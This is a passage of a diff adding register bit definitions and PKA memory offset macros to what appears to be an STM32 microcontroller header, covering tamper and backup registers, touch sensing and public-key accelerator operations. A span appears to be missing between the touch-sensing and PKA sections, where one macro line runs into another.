TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT 